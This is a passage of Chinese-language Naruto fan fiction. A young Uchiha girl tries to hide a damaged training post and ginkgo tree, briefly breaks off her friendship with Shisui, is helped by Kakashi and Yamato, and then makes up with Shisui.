宇智波枭刚打开府邸大门,门外便站着几名面覆面具的暗部成员。他只一眼便懂了来意,反手就要将门合上。
其中一位暗部上前一步,低声开口:“枭大人,借一步说话。”
“我脱离暗部多年,有话不妨直说。”枭语气平静,没有半分退让。
对方顿了顿,才道出缘由:“是火影大人的意思,他有请于您。”
自千手奏离去后,宇智波枭早已不问世事,如今猿飞日斩特意遣人找上门,想来绝非小事。他沉默思索片刻,淡淡应道:“我知道了,稍后便到。”
得到答复,暗部成员身形一闪,便消失在街巷之中。
宇智波枭这才重新推门而入,目光落在餐桌旁还没从惊吓中缓过神的千歲,语气恢复了平日的平淡:“吃完把碗洗了,我出门一趟。”
千歲蔫蔫地应了一声,心思早就飘到了九霄云外。
她心慌意乱地把碗筷收好,整个人被一阵莫名的恐惧裹着——她才不要被流放去战场当炮灰。
直到现在才后知后觉反应过来,昨天跟鼬一起砍断的那棵树,竟然是刚施过肥的银杏树。
得想点办法补救才行。
她越想越坐不住,匆匆出门,往后山案发现场赶去,想先去看看情况。
到了后山,几个族里的小孩子正凑在一起叽叽喳喳地练习手里剑。
千歲装作若无其事的样子,慢慢靠近那根被她弄坏的木桩。木桩四周已经拉上了黄色警戒带,显眼地写着“禁止使用”;就连后山林区的入口,也被同样的警戒带封得严严实实。
千歲在心里默默吐槽:要不要这么夸张,搞得跟重大犯罪现场一样……
她越想越心慌,彻底没了主意。
要是再搬一根新木头回训练场,被人撞见就等于不打自招;而且鼬又不在身边,自己不会风遁,根本没法再砍一棵树补上。
难道只能乖乖等着警务部队找上门,被抓走吗?
她越想越沮丧,脑袋里忽然闪过一个身影——止水。
止水那么聪明可靠,一定有办法帮自己。
念头一定,她立刻迈开步子,沿着熟悉的小路一路小跑奔向止水家,心里默默祈祷,止水可千万别出任务去了。
她站在止水家门口,连着按了三下门铃,都没半点动静。
“难道出任务了?”
“还是又在睡懒觉啊……”
千歲急得不行,干脆跑到院子围栏边,也顾不上旁人,直接朝着里面喊:“止水!别睡啦,快起来!”
可喊完依旧没人应声。
难道真的外出任务了?就在千歲快要灰心放弃时,
止水家的门却缓缓拉开,一位老人家探出头来。千歲眼睛瞬间亮了:“镜爷爷!”
她连忙走上前,乖巧问道:“爷爷,您最近身体还好吗?”
宇智波镜看着眼前的少女,温和笑了笑:“我很好呀。止水的话,今天一早出任务去了哦。”
“啊——”千岁瞬间像泄了气的皮球,整个人都蔫了。
宇智波镜见她这副垂头丧气的模样,温声安慰:“要是不急,可以进来坐着等他回来。”
可千岁现在哪里还有心思坐等,急声道:“可是……我有急事……”
“千歲?”
熟悉的声音从身后传来,少女猛地回头,只见止水正站在那里,身旁还跟着一位红发少女。
那一头鲜艳如烈火的红发格外夺目,衬得人本就白皙的肌肤更显透亮。
“止水,看来我们没法立刻赶去现场了呢。”红发少女轻声说道。
“放心吧小咲,稍等我一下,很快就好。”止水柔声回应。
千岁望着眼前这两人,陌生的气息让她微微一怔。她常在族地内走动,却从未见过这位少女,想来应该是外族人。
止水走上前,微微弯腰看向她,语气带着几分笑意:“一大早跑过来,怎么了?”
千歲看着他行色匆匆的模样,心里已经明白,对方多半抽不出时间帮自己处理木桩的事。
“止水,你……正在执行任务吗?”
“嗯,回来取一下小咲昨天落在这儿的卷轴。”
注意到千歲好奇的目光,止水顺势介绍:“她是同队的同伴,漩涡咲。”
千歲这才恍然——忍校毕业后都会三人组队执行任务,原来对方是止水的队友。她立刻乖巧地问好:“咲姐姐,你好。”
漩涡咲礼貌点头,随即又看向止水:“再耽搁,海斗说不定要等急了。”
看着两人默契的模样,千歲忽然觉得自己有些多余,只好强压下心里的慌乱,对止水笑了笑:“那个……我其实没什么大事,先回家吃晚饭了。”
一大早吃什么晚饭?宇智波镜在一旁沉思,可能是自己老了耳朵不中用了吧。
止水微微蹙眉,看着千歲离开的背影,总觉得今天的她有些反常,但任务在即时间紧迫,也没再多想。
原来止水每天都有这么多做不完的任务。
千歲心里悄悄掠过一丝失落,他也有属于自己的同伴和小队啊。
但眼下这点小情绪,很快被更紧迫的危机感盖了过去——当务之急,是赶紧把木桩的窟窿补上。
既然自己
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不会风遁,那就用笨办法。
锯子、斧头总能手动砍倒一棵树吧?这次说什么也要睁大眼睛,专挑没人管的野树下手,再也不敢碰什么刚施肥的银杏树了。
她一溜烟跑回家,翻箱倒柜找斧头和锯子,找了半天却连根毛都没见着。
不死心的千歲溜进宇智波枭的房间,在一个常年没开过的旧柜子里,翻出了一把太刀。
……这个,应该和斧头锯子差不多吧?
就用一下,应该没事的。
她偷偷把刀抽出来,只刚拎起刀身就费了九牛二虎之力,吭哧吭哧背着剑,再次往后山飞奔。
等赶到时,刚才还在这儿叽叽喳喳练手里剑的小孩子们,已经全都不见了。
千歲背着那柄比自己还沉的太刀,在后山边缘的林子里小心翼翼地转来转去,眼睛睁得圆圆的,一路扒开草丛东张西望,专挑偏僻角落钻。
得找一棵看着就没人管、没人疼、没牌子、没施肥、没名字的野树——最好是连族里人都懒得记的那种,砍了也绝对不会有人心疼,更不会被当成破坏公物。
她一路走一路小声嘀咕:
“这个不行,长得太整齐了……”
“这个也不行,叶子太好看了……”
“这个更不行,旁边还有小树苗呢……”
终于在林子最深处、靠近山崖边的地方,找到一棵歪歪扭扭、细瘦不起眼的杂树,看着就像野生野长、无人认领的类型。
千歲松了口气,拍了拍树干:“就决定是你了,委屈你一下。”
她把太刀抽出来,刀身比她手臂还长,刚举起来就晃得厉害,只能双手死死攥着刀柄,憋得脸颊通红,小小的身子跟着一起用力。
“嘿——呀——!”
一刀劈下去,只在树干上磕出一道浅浅的印子,震得她手腕发麻,差点把刀甩飞。
千歲咬着下唇,不服气地调整姿势,把刀当成锯子,一点一点来回磨蹭、切割。
每一下都要用上全身力气,小眉头皱得紧紧的,额角渗出汗珠,呼吸也变得呼呼喘喘。
太刀又重又不顺手,砍树远不如斧头利落,她只能一点点磨着木质纹路。
“再一下……就一下……”
不知道来回切了多少次,树干终于发出轻微开裂的声响。
千歲卯足最后一股劲,猛地发力一压——
“咔嚓——”
细瘦的树桩应声断开,整棵小树斜斜倒向一旁。她瞬间脱力,握着太刀瘫坐在地上,小手酸得发抖,连收刀都费劲,看着好不容易“锯”断的野树,又累又心虚,还带着一点劫后余生的小得意。
不过还不是放松下来的时候,她还得把这一根木桩运到训练场,千歲把木桩倒过来,一点一点往后山的方向推。她背着太刀,已经消耗了不少体力,此时,她感觉自己已经快要撑不住了。
终于,木桩运到了训练场后山。
她使用全身的劲儿才把木桩立起来,木桩的切割面参差不齐,看上去怪丑的。可是也没有办法了,她把原来那根被打碎木桩上的红心靶卸下来,随即安装到刚运过来的木桩上。
“大功告成。”
千歲拍拍手,虽然这根莫名其妙多出来的木桩看起来违和感满满,但至少能用了。
只是背上这太刀,刀刃也被磨钝的不像样。
千歲总算把那根糟心的木桩糊弄过去,心里刚松快一点点,远处忽然传来了说话声。
要是被人看见她背着家里的太刀在这儿,那就全完了。她身子一矮,立刻钻进身后茂密的灌木丛里,连呼吸都放轻。
12. 第十二章 止水 我们还是不要做朋友了
没多久,管理员和修缮人员沿着小路走了过来。
“你看,就是这根木桩,碎得一塌糊涂。”管理员指着前面开口抱怨。
“你说的是这根?”修缮人员一脸疑惑,“虽说长得丑了点、看着也有点违和,但也没碎到不能用的地步啊。”
管理员猛地回头一看,眼睛瞬间瞪圆,不敢置信地又使劲揉了揉。
“什么情况?”他满脸茫然。
“我还想问你什么情况呢?”修缮人员忍不住吐槽,“我们也很忙的,别为这点小事把人叫过来,还让我爬了半座山。”
“怎么会这样……见鬼了?”管理员愣了半天,又急忙补充,“算了算了,木桩不说了,里面那棵银杏树肯定倒了,这个我绝对没看错。”
“银杏树不归我们管。再说了,那树多贵啊,谁吃饱了没事干会闯到宇智波族地里锯断一棵,还不把树干带走?”
“也是……”管理员叹了口气,“木桩倒不算什么,主要是那棵银杏太贵重了,从我爷爷那辈就种下的。”
灌木丛里的千歲整个人一僵,心里只剩一声巨响:什么??那棵看起来不起眼的树,原来这么名贵吗?!
修缮人员和管理员聊着走远,千歲才一脸崩溃地从灌木丛里钻出来。
好不容易糊弄完木桩,银杏树那茬又悬在头顶,她整个人都累得快脱力,背上的太刀沉得像块铁。还是先把刀偷偷放回去再说,她拖着步子疲惫地往家走。
路过木叶最热闹的商业街,街边广告牌正播着狗血电影预告:
“纯子,我已经犯下滔天大罪,为了不连累你,我们就此诀别,我独自奔赴刑场,绝不会拖累任何人——”
剧里的男主声泪俱下,一脸大义凛然。
千歲背着太刀站在原地看得入神,她本来就吃这套煽情剧情,瞬间被深深代入。
就算真被发配去战场当炮灰,她也绝对不能连累老爸和朋友们。
把自己脑补成悲情女主角,中二之魂熊熊燃烧,当场做了个悲壮的决定。回家一路上都绷着小脸,故意装酷耍帅,走路都带一股“莫挨老子”的气场。
刚走到洋果子店门口,一个熟悉的身影迎面出现——是止水。
都傍晚了,看样子他任务总算结束了。
止水一眼就看见她,远远笑着挥手:“千歲”
千歲视死如归地走过去。
止水看着她背上那把比人还高的太刀,习惯性调侃:“我们千歲这是要开始练刀了?”
说着就从婆婆手里接过一盒草莓大福,笑着递过来,“特意给你买的,早上你过来我就……”
“止水!”
千歲突然出声打断他。
那副表情严肃得前所未有,完全不像平时闹别扭,止水脸上的笑意也收了点,有点惊讶:“怎么了?”
千歲深吸一口气,说得干脆又悲壮:
“我们……还是不要做朋友了。”
止水愣了一下,还以为她在开玩笑,可看她一脸认真,眉头轻轻皱起,语气也温柔下来:“发生什么事了?至少告诉我理由吧。”他上前一步,明显是关心。
“没有理由!”
千歲转身就要跑,止水一个瞬身术轻松挡在她面前,语气依旧耐心又温和:“不说清楚,我可不会让你走哦。”
千歲小脑袋飞速运转,两秒内急中生智,憋出一个离谱到不行的理由:
“因、因为你喜欢吃辣,我最讨厌辣的!和真老师说过,吃辣和不吃辣的人,这辈子都不能当朋友!你再跟着我,我就再也不理你了!”
「和真此时打了一个喷嚏」
话音刚落,她也学着用出瞬身术,“唰”一下消失得无影无踪。
止水站在原地,手里还拿着草莓大福。
今天的千歲,也太奇怪了。
用瞬身术一溜烟逃走的千歲,其实刚跑远就悔得肠子都青了。可她此刻还沉浸在自己的悲情小剧场里——为了不连累任何人,她只能当一只主动跑开的小逃犯。
夜幕慢慢降临,她背着沉重的太刀,漫无目的地晃在木叶的街道上。
肚子不争气地咕咕乱叫,从早上开始她就没有吃任何东西,越走越懊恼:早知道刚才就先把草莓大福抢过来再绝交了……
也不知道绕了多久,她不知不觉走到了村子东边的森林里。
“对不起老爸……对不起止水……对不起和真老师……”
“从今天起我只能开始东躲西藏的生活了……”
越想越难过,昨天和鼬砍木桩时弄伤的伤口也跟着隐隐作痛。
今天一整天没换药,再加上刚才拼命折腾,伤口早就又渗出血来。
千歲一个没留神,被树根狠狠绊了一下,“啪叽”重重摔在地上。
一天的劳累、委屈、饥饿全都涌上来,伤口也彻底裂开,她终于绷不住,坐在地上哇地大哭起来,哭得跟只受委屈的小猫似的:
“我不想坐牢……不想去战场当炮灰啦……”
这突如其来的哭声,把正在附近值守的卡卡西吓了一跳。
这个时间点,按理不该有人出现在这儿。
他循着哭声找过去,一看居然是千歲,还哭得这么惨,顿时有点手足无措。
卡卡西一个瞬身闪到她面前,看着她渗血的伤口,轻声问:“你还好吗?”
千歲泪眼模糊,根本看不清脸,只当是来抓自己的警务队员,哭得更凶更委屈,大义凛然地喊:
“要抓就抓我一个人!全是我做的,我都认!”
卡卡西:“?”
完全没听懂,但先安抚再说。
他吹了个口哨,叫来了队友青木替班,然后小心翼翼把千歲带到附近的暗部执勤室,打算先帮她把裂开的伤口重新包扎好。
千歲哽咽着:“卡卡西叔……不对…”她抹了抹眼泪,立刻改口:“卡卡西前辈,包扎手法要是能像仁美阿姨一样温柔就好了……”
卡卡西在心里默默吐槽:年纪不大,要求还真多。
看她情绪稍微稳定,他便开口:“我联系枭大人来接你。”
“不要!”千岁吓得立刻抓住他的袖子,拼命摇头。
卡卡西微微挑眉,一脸不解:这是跟父亲吵架了?
正好这时,大和拿着两个饭团走进来,看见这一幕笑着调侃:“喔~没想到前辈还有这么温柔的一面。”
“别贫嘴,天藏。”卡卡西淡淡回了一句。
“都说了别这么叫我啦,偶尔也对我温柔一点嘛。”大和小声抱怨。
千歲闻到饭香,肚子当场叫得格外响亮,整个人都蔫蔫的。
“没吃饭?”卡卡西看向大和,眼神直白。
“……这可是我刚从青木那抢来的啊。”大和一脸肉疼,但在卡卡西的目光下还是妥协了,“好吧,给她一个,我留一个总可以了吧?”
千歲终于吃上晚饭,心稍稍安定。
卡卡西在她身旁坐下,轻声问她为什么一个人在森林里哭。
她干脆破罐子破摔,把砍木桩、弄坏银杏树、害怕被流放战场的事一五一十全说了。
“哦——原来是这样。”<
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“卡卡西前辈,千万不要告诉别人。”千歲抓住他的衣角,“我也不想连累你和这位饭团叔叔,所以吃完这个饭团我就要离开木叶了。”
卡卡西无奈叹气:枭大人还真是喜欢拿这种事吓唬女儿。
他语气放得温柔:“你说的,是族地后山那棵银杏树?”
千歲用力点头。
卡卡西看向嘴边还沾着米粒、刚吃完饭团的大和,说道:“我有办法帮你。”
“真的?”千歲眼睛瞬间亮了。
“嗯,但解决之后,要乖乖回家,别让枭大人担心。”
大和在一旁默默擦手:“我怎么有种不好的预感……”
三人一路来到宇智波族地后山的银杏木桩前。
卡卡西一声令下:“动手吧,天藏。”
“我就知道…”大和虽然一脸不情愿,然而还是照做。
只见他双手快速结印,低喝一声:“木遁——复苏之术!”
只见原本光秃秃的树桩上,瞬间抽出嫩绿枝条,飞速生长,转眼就长成一棵比之前更高、更茂盛的银杏树。
千歲看得目瞪口呆,这是她第一次见到木遁,当场兴奋地拍手:“好厉害!也太实用了吧!我也想学!”
被夸得飘飘然的大和立刻扬起下巴,一脸骄傲:“那是,很厉害吧~”
解决完银杏树的大事,千歲整个人都轻松得很,一路跟在卡卡西和大和身后,嘴里还不停念叨着木遁也太厉害了,回去一定要缠着止水教自己类似的忍术。
卡卡西无奈又好笑地摇了摇头,把她送回宇智波枭的府邸,抬手敲了敲门,等了好一会儿都没人应声,又试着推了推,大门直接应声而开。
“看来枭大人还没回来。”
千歲探头往屋里瞧了瞧,空荡荡的客厅安安静静,确实没有父亲的身影,她心里悄悄松了口气,又有点小小的失落。
卡卡西蹲下身,和千歲保持平视,语气温柔又带着点认真叮嘱:“不许再偷偷跑出去了,乖乖在家等枭大人回来,知道吗?”
大和也在一旁跟着附和,晃了晃脑袋打趣:“要是再乱跑,下次可就没有这么好用的木遁帮你收拾残局咯。”
千歲连忙用力点头:“绝对不乱跑了!谢谢卡卡西前辈,谢谢天藏前辈!”
被突然叫了新称呼的大和愣了一下,“卡卡西前辈,你看看,都怪你…小朋友都学你了。”卡卡西轻敲了一下大和的额头:“好了,我们该走了,记得好好待在家里。”
看着卡卡西和大和转身离开的背影,千歲挥手道别,关上门的瞬间,悬了一整天的心总算彻底落回肚子里。脑子里还在回放刚才的木遁名场面,美滋滋地想着:下次一定要让止水教我木遁。
刚想到这儿,她整个人忽然僵住。
等等……止水?
她猛地想起今天白天的社死名场面——自己居然单方面跟止水绝交了。
完蛋。
银杏树的危机已经完美解决,再也不会连累谁了,她一秒坐不住,慌慌张张又冲出门,熟门熟路拐到止水家门口。
今天说了那么过分的话,止水肯定当真了吧……
她一边自责,一边抬手准备按门铃,门却“咔嗒”一声先开了。
千歲脸上的笑容还没来得及堆好,就对上了止水的脸。
平时总是温柔带笑的人,此刻面无表情,眼神安安静静,却透着一股她从没见过的冷淡。
千歲当场僵在原地,小手还悬在半空中,瞬间怂了。
“止水?”千歲试探性的叫了他一声。
13. 第十三章 止水生气了
千歲试探着轻唤了一声:“止水?”
止水淡淡瞥了她一眼,语气平静无波:“怎么了?”话音落下,便径直从她身侧走过,朝着宇智波族地大门的方向而去。
千歲连忙小跑着跟上去,心头隐隐掠过一丝不安,小心翼翼地开口:“你要去哪里?我和你一起。”
止水骤然停住脚步,声音里听不出半分情绪:“不是说,不做朋友了吗?”
千歲这才慌了神,急忙解释:“那是我一时气话,胡乱说的!”那些积压了两日的纷乱与委屈,她一时根本无从说起。
止水闻言,眉头微不可察地蹙了一下,随即再度迈步前行。
千歲跟在他身后,一声声唤着他的名字,语气渐渐带上急意:“止水……止水,止水!”
可前方的身影始终没有回头,也没有半分回应。
千歲终于忍不住,快步冲到他面前拦住去路,又委屈又气恼:“你为什么不理我!”
她从未见过这样的宇智波止水。从前的他,永远温和耐心,望向她时眼底总带着笑意,可此刻他脸上的疏离与冷淡,让她一时竟不知该如何靠近。
“千歲,在你眼里,我们之间的关系,是可以随口说结束,又随意说和好的吗?”
止水的声音很轻,却带着一种让人心慌的重量。
“什么?”千歲一时没能反应过来,茫然地望着他。
止水静静看着她,面上没有半分波澜,唯有眼底情绪沉得如同深海,与平日里那个温和的他判若两人。
“你生气了,对不对?”千歲追问。
他却没有作答。
即便再不谙世事,她也分明感受到了他周身散发出的疏离与沉抑,连忙放软了语气:“对不起嘛,止水,下午是我不好……”
话未说完,止水已再度迈步向前。
千歲连忙跟上,像只不安的小猫,小跑着才能勉强追上他的脚步:“你听我把话说完嘛…”
平日里素来能将情绪收放自如的宇智波止水,此刻心头却翻涌着一股连自己都难以厘清的烦躁。
是因为千歲白天那句决绝的绝交吗?他下意识在心底否认。真正让他心绪不宁的,或许是她近来悄然发生的改变——她不再像从前那般毫无保留,眼底渐渐多了他看不透的隐瞒。
这本该是再正常不过的事,每个人都有属于自己的秘密与心事。可一旦这份熟悉的安稳脱离了他习惯的掌控,一股莫名的焦躁便不受控制地蔓延开来,沉在心底挥之不去。
止水微微蹙眉,连他自己也说不清,这份失控的情绪,究竟从何而来。
始终被无视,千歲心里又急又委屈,终于忍不住带了点恼意:“就算是我有错在先,你也不能这样一直不理我啊!”
话音刚落,她又立刻软了声调,微微垂着眼,带着几分讨好与示弱:“我以后再也不说绝交这种话了,你原谅我好不好嘛?”
望着少女眼底又气又慌的模样,止水紧绷的心绪才稍稍松缓了些。
他沉默片刻,缓缓开口:“千歲,我生气,不是因为你说要绝交。”
千歲一愣,抬头眼里满是疑惑。
“是因为你有事,却不肯告诉我。”止水声音轻缓,却带着几分不易察觉的认真,“爷爷已经和我说过早上的事了。你明明有急事,却选择瞒着我……我会觉得,你开始不信任我了。”
千歲心口一酸,只觉得越发委屈。
什么不信任,她明明只是不想在他出任务时前去打扰,更不愿让自己的事连累到他。
“我哪有不信任?”千歲立刻反驳,语气带着几分急意,“明明我遇到事,第一个想到的人就是止水!”
止水闻言微怔,心头骤然掠过一丝复杂的情绪,说不清是惊喜还是动容。
“你总是有那么多任务,早出晚归的,一整天都见不到人影。”她越说语气越急促,“早上我明明去找你啊,可怎么好意思打扰你和咲姐姐一起执行任务?反正你肯定不会因为这些小事把任务抛到脑后!”
“你有那么多同伴,还有自己的队友,可以跟他们一起出任务。我大多时候只能一个人在后山练手里剑。而且!上次你明明答应陪我练习,最后还不是因为任务失约了!”
一通话发泄完毕,她微微仰头,胸口轻轻起伏,大口喘着气。
止水僵在原地,听着她一字一句的委屈,心底翻涌的情绪骤然定格。
他怔怔地看着少女气呼呼的模样,胸口泛起细密的酸涩与愧疚,他从未想过自己的忙碌会让她如此不安,更没想到她的隐瞒,竟是这般小心翼翼的在意。
「我遇到事,第一个想到的就是止水。」
这句话轻轻落在心上,反复回荡,久久不散。
止水一时无言,心底翻涌着连他自己都难以描述的情绪——有被人这般放在首位的重視,有被全然信赖的踏实,又混杂着一丝事态并未真正脱离掌控的安稳。
他说不清这究竟是怎样的心情,只知道先前盘踞心头的烦躁与不安,在这一刻,竟悄无声息地尽数散去了。
千歲越说越激动,积攒许久的委屈一股脑涌了上来,“我明明那么在意你才想着不拖累你……早知道你会这么生气,当初就该拉着你一起蹲大牢,让你去前线当炮灰算了!”
止水还沉浸在刚才那番心绪里,一时没抓住重点,愣了一下才蹙眉追问:“大牢?你说什么大牢?”
见他这会儿反倒关心起莫名其妙的地方,千歲又气又羞,刚憋下去的委屈又冒了上来:“不知道!你这个坏止水,我再也不理你——”
话说到一半,她忽然想起自己刚保证过不再说绝交之类的话,猛地顿住,改口时声音都带着点小别扭的赌气:
“我、我再也不吃你买的草莓大福了!”
止水闻言:“真不吃了?”
千歲犹豫了几秒,才硬着头皮,一字一顿:
“……不吃!”
“是么。”止水语气平静,“那下午买到的巧克力馅草莓大福,看来只能喂小猫了。”
千歲猛地一怔——那可是季节限定的巧克力草莓大福,他居然真的买到了?
心里明明已经动摇,嘴上却还逞强:“猫咪又不吃这种东西……”
看她明明在意得紧,却还要硬撑的模样,止水心头最后一点闷气也烟消云散,忍不住逗她:“那放坏了,也只能扔掉。”
“坏止水!放坏了都不给我!”千歲炸毛。
止水一脸正经:“你刚才不是说,不吃吗?”
一句话堵得她脸颊通红,千歲终于破防,气鼓鼓地开口:“我吃!”
“在这之前,你要答应我一件事。”
止水的语气忽然认真起来。
“什么事?”千歲看向止水。
“以后不管
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遇到什么事,都不许再瞒着我,不准一个人硬扛。”
千歲小声反驳:“我从认识你开始,本来就是这样做的啊……”
“是从今以后,知道吗?”止水看着她,语气轻却坚定。
她愣了愣,也仰起脸认真地回视他:“那止水也要一样,不许对我隐瞒,有事也不准你一个人扛着。”
“我答应你。”止水应声。
“还有!”
千歲忽然提高音量,带着几分委屈又理直气壮的语气强调:
“不准再失约了!!”
千歲总觉得光有约定还不够,心里那点不安与郑重,非要一个实实在在的仪式才算数。她主动朝止水伸出小拇指,指尖带着几分认真的软意,望着他:“我们来拉勾吧,谁要是违背了约定,就要吞千针。”
止水看着她眼底的认真与期许,眼中漫开温柔的笑意,没有半分犹豫,也伸出小拇指,轻轻勾住了她的。微凉的指尖相触,带着彼此笃定的心意,在渐沉的暮色里,显得格外郑重。
两人指尖相勾,许下此生不欺瞒、不独扛、不失约的诺言,简单的约定,在温柔的夜色里,成了最珍贵的羁绊。
宇智波枭刚从火影办公楼出来,揣着一脑门子疲惫往家走,刚走进家附近的街巷子,眼前的景象就让他当场定格——自家才九岁的千歲,正跟止水勾着小拇指,一脸严肃地念叨“骗人的人要吞千针”。
空气安静了三秒。
宇智波枭的大脑飞速运转:这是啥?娃娃亲现场?还是宇智波版“以生相许”?再晚来一步,是不是就要交换护额当定亲信物了?
他再也绷不住,清了清嗓子,三步并作两步冲过去,语气里带着三分震惊七分抓狂:“干嘛干嘛干嘛?!演忍界偶像剧呢?”
千歲被这突如其来的声音吓了一跳,回头见是自家老爸,瞬间切换成理直气壮模式:“老爸!你一天跑哪去了?!”
宇智波枭压根没接她的话茬,视线死死黏在止水身上,那眼神像在扫描“可疑早恋对象”。
止水倒是淡定,恭恭敬敬地欠身行礼:“枭大人好。”
这一声“枭大人”,听得宇智波枭心里更不是滋味了——这小子,礼貌得过分,一看就很会讨小孩喜欢!他硬邦邦地回了句“嗯,你好”,转头就对千歲下命令:“还不回家?”
千歲心里还记挂着那盒季节限定的巧克力草莓大福,磨磨蹭蹭地往止水那边缩了缩,小声讨价还价:“老爸,我待会儿要出门办点事,你先回去呗?”
“办事?”宇智波枭气笑了,伸手一把拎住她的后领,“你个小兔崽子,大晚上不睡觉,难道要去跟止水组队偷大福?回家。训练场那根被你弄坏的木桩,还等着跟你算账呢!”
千岁瞬间瞳孔地震:“什么?原来你知道?!”
宇智波枭懒得跟她废话,拎着人就往屋里走。千歲被像拎小鸡一样双脚离地,还不忘回头朝止水拼命摆手:“巧克力草莓大福一定要给我留着!不准喂猫!”
话音未落,父女俩的身影就消失在了拐角。
止水站在原地,看着那团闹哄哄的背影,忍不住低笑出声。晚风拂过,他抬手摸了摸自己的小拇指,那里还残留着千歲指尖的温度。
他望着千歲家的方向,眸色温柔又带着点怅然——如果父亲还在的话,大概也会像枭大人这样,板着脸站在门口,和自己较劲吧。
14. 第十四章 神秘的战国女子
太阳都快爬到树梢头了,宇智波止水居然破天荒地没去村子接任务。
千歲一大早就推开家门,就看见自家门前杵着的那个熟悉身影:“止水?!这真是太阳打西边出来了。”
止水转过身,挑了挑眉,故意逗她:“怎么啦,不想看到我?”
“哪有!”千歲连忙摆手,“我是说……你今天难道不用出任务吗?太阳都晒屁股啦!”
“本来今天是要去风之国带回卷轴的。”止水解释道,“但昨天小咲执行任务时受了伤,火影大人特意批了我们小队一天假,在家好好休息。”
千歲的脑瓜立刻开始飞速运转,努力搜寻“小咲”这个名字。嗯?好耳熟,到底是谁来着?
止水一眼就看穿了她的茫然,忍不住“噗嗤”一声笑了出来,弯着眼角逗她:“就是几天前在我家门口,你见过的呀。”
“啊!想起来了!是漩涡咲姐姐!”千歲恍然大悟,随即立马一脸担忧地凑上前,“她受伤了?要不要紧?”
止水倒是没想到千歲会这么关心自己队里的事,愣了一下,随即语气温和下来:“没什么大碍,我昨晚去医院照顾了她一会儿,估计这时候已经恢复得差不多了。”
昨晚千歲上门找止水,想让他尝试新发明的捕猫神器—小鱼干2.0,可等了半天,却没见到人影,原来,去医院是去照顾队里的伙伴去了。
“原来是这样啊。”千歲的话里听不出什么情绪。
也对,止水对谁都这么温柔体贴,难怪不管是前辈还是同辈,都喜欢拉着他一块儿组队。
她明明知道止水本就是这般温柔的人,对谁都温和友善,那点失落来得毫无章法,连她自己都摸不透缘由,只是怔怔地想着,止水拥有可以并肩托付后背的小队,有能让他悉心照料的同伴,他们之间有着共赴任务、生死与共的羁绊,那样紧密又真切。
而自己,好像只是他众多朋友里的一个。
她也好想要属于自己的伙伴和队友。
止水瞥见千歲莫名闷闷不乐的模样,轻声凑过去问:“又怎么啦?我的大小姐。”
千歲语气带着点没由来的别扭:“不要你管。”
止水哪会就此作罢,伸手轻轻捏了捏她赌气的脸颊,笑着追问:“怎么又闹小脾气了?是谁又惹我们千歲生气了。”
千歲抬眼望进他含笑的眼眸,更加燃起一阵无名之火,却又清楚自己气得毫无道理,止水原本就没有做错什么。
“反正止水每天只和别人玩儿,只有无聊的时候,才会想起我。”
止水闻言先是一怔,随即哭笑不得,温声解释:“我哪是和别人玩儿,明明每天都在忙任务呀。”
话音落下,他像是一眼看穿了少女藏在心底的小心思,话锋一转,抛出了她最感兴趣的事,“你看,我一得空就立马来找你了,上次答应教你的手里剑,难道不想学了?”
一听到心心念念的手里剑练习,千歲把刚刚的心思抛到脑后,方才的失落与小脾气顷刻间烟消云散,重重地点头,声音都轻快了不少:“想!快教我!”
“太阳这么大,正午前太晒了,咱们不如等午后再说?”止水体贴地提议。
“好吧……那你这是要回家了吗?”千歲的声音小小的,明显带着点没兴致。
止水被她这黏糊糊的语气逗得哭笑不得:“我要是真回了家,直接就转身走了,还在这儿陪你晒太阳干嘛?”
千歲歪着头,一脸没跟上思路的疑惑。
止水这才笑着揭晓谜底:“爷爷让我来请你呢。他说新买了几种水果,特意要请你去家里尝尝,还有你最爱的草莓大福,都给你留着。”
“草莓大福!?”千歲所有的小情绪一扫而空,她连忙点头,“我去!我去!”
宇智波镜府邸。
千歲接过止水递来的热茶,指尖轻托着杯身,小心翼翼地递到宇智波镜面前。止水见状,便转身轻步踱进厨房,去备置余下的果食。
止水自小便与宇智波镜相依为命,家中从无双亲身影,千歲心中大约也懂了几分缘由,恰似自己从未谋面的母亲一般,藏着未说出口的缺憾。
宇智波镜轻咳两声,缓缓接过那杯热茶,千歲软声叮嘱:“镜爷爷,小心烫,慢点喝。”
不一会儿,止水端着一盘切好的菠萝走回客厅,笑着打趣:“从来没见过千歲这么贴心的模样。”
“哪有,我本就很会关心人好不好。”千歲反驳止水。
宇智波镜望着眼前率真乖巧的少女,眉眼间漾开温和的笑意。千歲随即抬眼,满眼好奇地开口:“镜爷爷,止水说您从前是极厉害的忍者,还是二代目火影大人的部下呢。”
宇智波镜笑了笑,语气里带着岁月的淡然:“都是几十年前的旧事了,如今身子不如从前,反倒要日日劳止水照料。”
“才没有,镜爷爷身子硬朗得很!”千歲连忙反驳,眼里满是认真。
她又凑近些,满心期许地追问:“从前的忍界,是什么样子的呀?我爸爸从来不肯同我讲这些。”
宇智波镜沉默思索片刻,目光望向窗外,似是穿过了时光的屏障,轻声道:“那时,可没有如今这般安稳平和……”
脑海里翻涌着战国时代的腥风血雨,再看向千歲澄澈天真的眼眸,他终是缓了语气:“等小千歲长成独当一面的忍者,便会知晓了。”
“我好想快点从忍校毕业去执行任务,像止水一样。”千歲眼中闪着向往的神色。
止水笑着揉了揉她的发顶,递过一叉菠萝:“别
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急,再有半年就毕业了。”
千歲接过菠萝胡乱咬了几口:“可我连火遁都掌控不好,希望毕业考试,不要再让我用火遁了。大概宇智波一族,只有我用不好火遁吧。”
宇智波镜温声失笑:“谁说宇智波之人,定要精通火遁呢。”
话音落下,老人的思绪忽然飘向了遥远的过往,尘封的记忆顺着时光缓缓流淌。
“我幼时在战场,曾被一位同族女子所救,早已记不清她的模样,只记得那一头金发,同小千歲一般,亮得晃眼。”
“真的吗?和我一样?可宇智波一族,从未有过这般鲜亮的发色。”千岁瞬间来了兴致。
宇智波镜沉浸在回忆里,漫天烽烟的战场仿佛就在眼前,风沙迷眼,前路模糊,唯有那道金色身影,在血与火的纷乱中格外夺目,猝然现身挡在他身前,替他扛下迎面而来的攻势。只依稀瞥见那侧颜,倔强勇敢,又带着别样的清丽,让年幼的他一时看怔了神。
“她的金发那般惹眼,可身后的族徽与眼底的写轮眼,分明是宇智波之人。时至今日,我仍记得她那万花筒的图案……”
“彼时宇智波与千手混战不休,她现身之时,宛如族内撼动天地的救世主,就连二代目大人,也难与她匹敌。”宇智波镜顿了顿,又笑着补充,“可这般强大的女子,偏偏也不擅火遁。”
止水闻言低笑出声:“这一点倒和我们千歲一模一样呢。”
“后来呢?她后来去了哪里?”千歲追着问,满心都是对这位神秘女子的好奇。
